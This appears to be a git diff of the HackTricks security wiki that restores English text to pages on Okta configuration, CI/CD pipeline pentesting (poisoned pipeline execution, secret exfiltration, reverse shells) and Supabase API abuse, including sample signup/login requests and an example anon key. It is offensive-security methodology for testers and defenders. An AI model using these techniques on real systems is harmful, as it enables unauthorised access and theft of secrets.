**यदि कोई पहचान प्रदाता कॉन्फ़िगर किया गया है** तो हमलावर और रक्षक के दृष्टिकोण से उस कॉन्फ़िगरेशन की जांच करें और **यदि स्रोत वास्तव में विश्वसनीय है** क्योंकि एक हमलावर इसे समझौता कर सकता है और Okta वातावरण तक पहुंच प्राप्त कर सकता है।
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
प्रतिनिधि प्रमाणीकरण उपयोगकर्ताओं को अपने संगठन के **Active Directory (AD) या LDAP** सर्वर के लिए क्रेडेंशियल दर्ज करके Okta में साइन इन करने की अनुमति देता है।
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
|
||||
फिर से, इसे फिर से जांचें, क्योंकि एक हमलावर यदि किसी संगठन के AD को समझौता कर लेता है तो वह इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है।
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
|
||||
### Network
|
||||
|
||||
एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** तक पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं जो **IP पते** के आधार पर अनुरोध कर रहे हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र को परिभाषित कर सकते हैं।
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
|
||||
एक बार जब आप एक या अधिक नेटवर्क क्षेत्रों को परिभाषित कर लेते हैं, तो आप **उन्हें वैश्विक सत्र नीतियों**, **प्रमाणीकरण नीतियों**, VPN सूचनाओं, और **रूटिंग नियमों** में उपयोग कर सकते हैं।
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
|
||||
हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से Ps की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है।
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Endpoint Management**: एंडपॉइंट प्रबंधन एक ऐसी स्थिति है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है।
|
||||
- मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO
|
||||
- **Notification services**: मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
|
||||
### API
|
||||
|
||||
आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए** हैं, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो।
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
|
||||
**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और Okta API के माध्यम से आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं।
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
|
||||
API टोकन की संख्या अधिक नहीं होनी चाहिए, क्योंकि यदि ऐसा होता है तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है।
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
स्वचालन आपको स्वचालित क्रियाएँ बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली एक सेट ट्रिगर शर्तों के आधार पर चलती हैं।
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
|
||||
उदाहरण के लिए, एक शर्त हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"।
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
लॉग डाउनलोड करें। ये **वर्तमान खाते** के **ईमेल पते** पर **भेजे** जाते हैं।
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
|
||||
### System Log
|
||||
|
||||
यहां आप **उपयोगकर्ताओं द्वारा किए गए कार्यों के लॉग** को बहुत सारे विवरणों के साथ पा सकते हैं जैसे Okta में लॉगिन करना या Okta के माध्यम से अनुप्रयोगों में लॉगिन करना।
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
यह **अन्य प्लेटफार्मों से लॉग आयात कर सकता है** जो Okta के साथ एक्सेस किए गए हैं।
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
|
||||
### Rate limits
|
||||
|
||||
API दर सीमाओं की जांच करें।
|
||||
Check the API rate limits reached.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
यहां आप Okta वातावरण के बारे में **सामान्य जानकारी** पा सकते हैं, जैसे कंपनी का नाम, पता, **ईमेल बिलिंग संपर्क**, **ईमेल तकनीकी संपर्क** और यह भी कि किसे Okta अपडेट प्राप्त करने चाहिए और किस प्रकार के Okta अपडेट।
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
|
||||
### Downloads
|
||||
|
||||
यहां आप अन्य तकनीकों के साथ Okta को समन्वयित करने के लिए Okta एजेंट डाउनलोड कर सकते हैं।
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD कार्यप्रणाली
|
||||
# Pentesting CI/CD Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS का अर्थ है **Version Control System**, यह सिस्टम developers को **उनके source code को manage करने** की अनुमति देता है। सबसे सामान्य एक है **git** और अक्सर आप कंपनियों को निम्नलिखित **platforms** में से किसी एक पर इसका उपयोग करते हुए पाएंगे:
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,93 +18,86 @@ VCS का अर्थ है **Version Control System**, यह सिस्
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines developers को कोड के execution को **automate** करने में मदद करते हैं — build, test और deploy applications जैसे कार्यों के लिए। ये automated workflows συγκεκριμένες actions द्वारा **trigger** होते हैं, जैसे code pushes, pull requests, या scheduled tasks. ये development से production तक के process को streamline करने में उपयोगी हैं।
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
|
||||
हालाँकि, इन systems को कहीं **execute** करना पड़ता है और अक्सर उन्हें **privileged credentials to deploy code or access sensitive information** की आवश्यकता होती है।
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
जो platforms आपके project का source code रखती हैं उनमें संवेदनशील जानकारी होती है और लोगों को इस platform के अंदर दिए गए permissions के साथ बहुत सावधान रहना चाहिए। VCS platforms में attacker द्वारा abusing के लिए कुछ आम समस्याएँ हैं:
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: अगर कोई attacker VCS platform के अंदर किसी account तक **access** प्राप्त कर लेता है तो वह **ज़्यादा visibility और permissions** हासिल कर सकता है।
|
||||
- **Register**: कुछ platforms बाहरी users को सिर्फ account बनाने की अनुमति देती हैं।
|
||||
- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देतीं, पर valid SSO से किसी को भी access मिल सकता है (उदाहरण के लिए attacker अपने github account से प्रवेश कर सकता है)।
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई तरह के tokens होते हैं जिन्हें कोई user किसी भी तरह से repo तक access पाने के लिए चुरा सकता है।
|
||||
- **Webhooks**: VCS platforms webhooks generate करने की अनुमति देती हैं। अगर वे **नॉन-प्रोटेक्टेड** हैं और किसी non visible secret से सुरक्षित नहीं हैं तो **attacker उनका दुरुपयोग कर सकता है**।
|
||||
- अगर कोई secret मौजूद नहीं है, attacker तीसरे पक्ष के platform के webhook का दुरुपयोग कर सकता है
|
||||
- अगर secret URL में मौजूद है, वही स्थिति लागू होती है और attacker के पास secret भी हो जाएगा
|
||||
- **Code compromise:** अगर malicious actor के पास repos पर किसी तरह का **write** access है, तो वह **malicious code inject** करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections bypass** करने की आवश्यकता होगी। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं:
|
||||
- main branch को compromise करके **production compromise** करना।
|
||||
- main (या अन्य branches) को compromise करके **developers machines compromise** करना (क्योंकि वे अक्सर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)।
|
||||
- **Compromise the pipeline** (अगला सेक्शन देखें)
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
एक pipeline define करने का सबसे सामान्य तरीका है **CI configuration file hosted in the repository** जिसे pipeline build करता है। यह file executed jobs के order, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\
|
||||
ये files आम तौर पर एक सुसंगत नाम और format रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML files जो .github/workflows के अंतर्गत होते हैं। जब trigger होता है, pipeline job **selected source (उदाहरण: commit / branch)** से **code को pull** करता है, और CI configuration file में specified commands को उस code पर **run** करता है।
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
|
||||
इसलिए attacker का अंतिम लक्ष्य किसी भी तरह से उन configuration files या जिन commands को वे execute करते हैं उन्हें somehow **compromise** करना होता है।
|
||||
|
||||
> [!TIP]
|
||||
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Poisoned Pipeline Execution (PPE) path SCM repository में permissions का exploitation करता है ताकि CI pipeline को manipulate करके हानिकारक commands execute करवाई जा सकें। जिन users के पास आवश्यक permissions होते हैं वे CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य files को modify करके malicious commands शामिल कर सकते हैं। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute हो जाते हैं।
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
|
||||
किसी malicious actor को PPE attack सफलतापूर्वक करने के लिए निम्न होना चाहिए:
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
|
||||
- VCS platform पर **write access** होना, क्योंकि आम तौर पर pipelines तब trigger होती हैं जब push या pull request होता है। (VCS pentesting methodology सेक्शन में access पाने के तरीकों का सार देखें).
|
||||
- ध्यान दें कि कभी-कभी एक **external PR भी "write access"** माना जाता है।
|
||||
- भले ही उसके पास write permissions हों, उसे सुनिश्चित करना होगा कि वह **CI config file या वे अन्य files जिन्हें config rely करता है** को modify कर सके।
|
||||
- इसके लिए वह शायद **branch protections bypass** करना सक्षम होना चाहिए।
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
|
||||
PPE के 3 flavours हैं:
|
||||
There are 3 PPE flavours:
|
||||
|
||||
- **D-PPE**: एक **Direct PPE** attack तब होता है जब actor वह CI config file modify करता है जो execute होने वाली है।
|
||||
- **I-DDE**: एक **Indirect PPE** attack तब होता है जब actor उस **file** को modify करता है जिस पर CI config file जो execute होने वाली है **rely** करती है (जैसे make file या terraform config)।
|
||||
- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा trigger की जा सकती हैं जिनके पास repo में write access नहीं होता (और जो org का हिस्सा भी नहीं हो सकते) क्योंकि वे PR भेज सकते हैं।
|
||||
- **3PE Command Injection**: आम तौर पर, CI/CD pipelines **environment variables set** करती हैं जिनमें **PR के बारे में information** होती है। अगर वह value attacker द्वारा control की जा सकती है (जैसे PR का title) और उसे किसी **dangerous place** में **use** किया जाता है (जैसे **sh commands** execute करना), तो attacker वहाँ **commands inject** कर सकता है।
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
PPE के 3 flavours जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या हासिल कर सकता है:
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
|
||||
- **Secrets**: जैसा पहले बताया गया था, pipelines अपने jobs के लिए **privileges** चाहती हैं (code retrieve करना, build करना, deploy करना...) और ये privileges आम तौर पर **secrets** में दिए जाते हैं। ये secrets आम तौर पर **env variables या system के अंदर files** के माध्यम से उपलब्ध होते हैं। इसलिए attacker हमेशा जितने अधिक secrets exfiltrate कर सकेगा उतना करेगा।
|
||||
- pipeline platform पर निर्भर करते हुए attacker को **config में secrets specify** करने पड़ सकते हैं। इसका अर्थ है कि अगर attacker CI configuration pipeline को modify नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह केवल उन secrets को ही exfiltrate कर सकता है जो उस pipeline के पास हैं।
|
||||
- **Computation**: कोड कहीं execute होता है, उस execution स्थान पर attacker आगे pivot कर सकता है।
|
||||
- **On-Premises**: अगर pipelines on premises execute होती हैं, तो attacker internal network में पहुँच सकता है और और resources तक access हासिल कर सकता है।
|
||||
- **Cloud**: attacker अन्य machines in the cloud तक पहुँच सकता है और साथ ही IAM roles/service accounts **tokens** exfiltrate करके cloud के अंदर और access प्राप्त कर सकता है।
|
||||
- **Platforms machine**: कभी-कभी jobs **pipelines platform machines** के अंदर execute होती हैं, जो आम तौर पर cloud में होती हैं और जिनके पास अक्सर और अधिक access नहीं होता।
|
||||
- **Select it:** कभी-कभी **pipelines platform कई machines configure** कर सकता है और अगर आप **CI configuration file modify** कर सकते हैं तो आप **indicate कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं**। ऐसी स्थिति में attacker संभवतः हर possible machine पर reverse shell चलाकर उसे और exploit करने की कोशिश करेगा।
|
||||
- **Compromise production**: अगर आप pipeline के अंदर हैं और final version वहीं से build और deploy होती है, तो आप production में चलने वाले code को compromise कर सकते हैं।
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के लिए auditing करता है based on एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). auditing पूरा SDLC process पर केंद्रित है, जहाँ यह code time से deploy time तक के risks को उजागर कर सकता है।
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Cider के अनुसार top 10 CI/CD risks पर यह interesting article देखें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- हर platform के लिए जिसे आप locally चला सकते हैं, वहां आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च करना है ताकि आप इसे अपनी इच्छानुसार configure करके परीक्षण कर सकें
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** एक static code analysis tool है infrastructure-as-code के लिए।
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,49 +1,50 @@
|
||||
# Supabase सुरक्षा
|
||||
# Supabase Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## Basic Information
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. अपने प्रोजेक्ट की शुरुआत Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings के साथ करें।
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
|
||||
### Subdomain
|
||||
|
||||
जब कोई project बनाया जाता है, user को एक supabase.co subdomain मिलेगा जैसे: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **डेटाबेस कॉन्फ़िगरेशन**
|
||||
## **Database configuration**
|
||||
|
||||
> [!TIP]
|
||||
> **यह डेटा इस तरह के लिंक से एक्सेस किया जा सकता है `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
यह **database** किसी AWS region में deploy होगा, और इसे कनेक्ट करने के लिए आप इस तरह कनेक्ट कर सकते हैं: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
पासवर्ड वह **password है जो user ने पहले डाला था**।
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
|
||||
इसलिए, चूंकि subdomain ज्ञात है और इसे username के रूप में उपयोग किया जाता है और AWS regions सीमित हैं, इसलिए संभव है कि पासवर्ड को **brute force the password** करने की कोशिश की जा सके।
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
|
||||
इस सेक्शन में निम्न विकल्प भी होते हैं:
|
||||
This section also contains options to:
|
||||
|
||||
- डेटाबेस पासवर्ड रीसेट करें
|
||||
- कनेक्शन पूलिंग कॉन्फ़िगर करें
|
||||
- Configure SSL: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से वे सक्षम होते हैं)
|
||||
- डिस्क साइज कॉन्फ़िगर करें
|
||||
- नेटवर्क प्रतिबंध और बैन लागू करें
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
|
||||
## API कॉन्फ़िगरेशन
|
||||
## API Configuration
|
||||
|
||||
> [!TIP]
|
||||
> **यह डेटा इस तरह के लिंक से एक्सेस किया जा सकता है `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
अपने प्रोजेक्ट के supabase API तक पहुँचने के लिए URL इस तरह होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
|
||||
यह एक **anon API key** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` भी जेनरेट करेगा, जिसे application को API से संपर्क करने के लिए उपयोग करना होगा जो हमारे example में एक्सपोज़ किया गया है
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
|
||||
इस API से संपर्क करने के लिए API REST आप [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पा सकते हैं, लेकिन सबसे दिलचस्प endpoints होंगे:
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>साइनअप (/auth/v1/signup)</summary>
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -68,11 +69,13 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लॉगिन (/auth/v1/token?grant_type=password)</summary>
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -97,45 +100,48 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
तो, जब भी आप किसी क्लाइंट को उनके दिए गए सबडोमेन के साथ supabase का उपयोग करते हुए पाते हैं (संभव है कि कंपनी का कोई सबडोमेन उनके supabase सबडोमेन पर CNAME कर दिया गया हो), तो आप **supabase API का उपयोग करके प्लेटफ़ॉर्म पर एक नया अकाउंट बना कर देख सकते हैं**।
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
|
||||
### गुप्त / service_role API keys
|
||||
### secret / service_role api keys
|
||||
|
||||
एक गुप्त API key भी जनरेट होगी जिसमें **`role: "service_role"`** होगा। यह API key गुप्त रखनी चाहिए क्योंकि यह **Row Level Security** को बायपास कर पाएगी।
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
|
||||
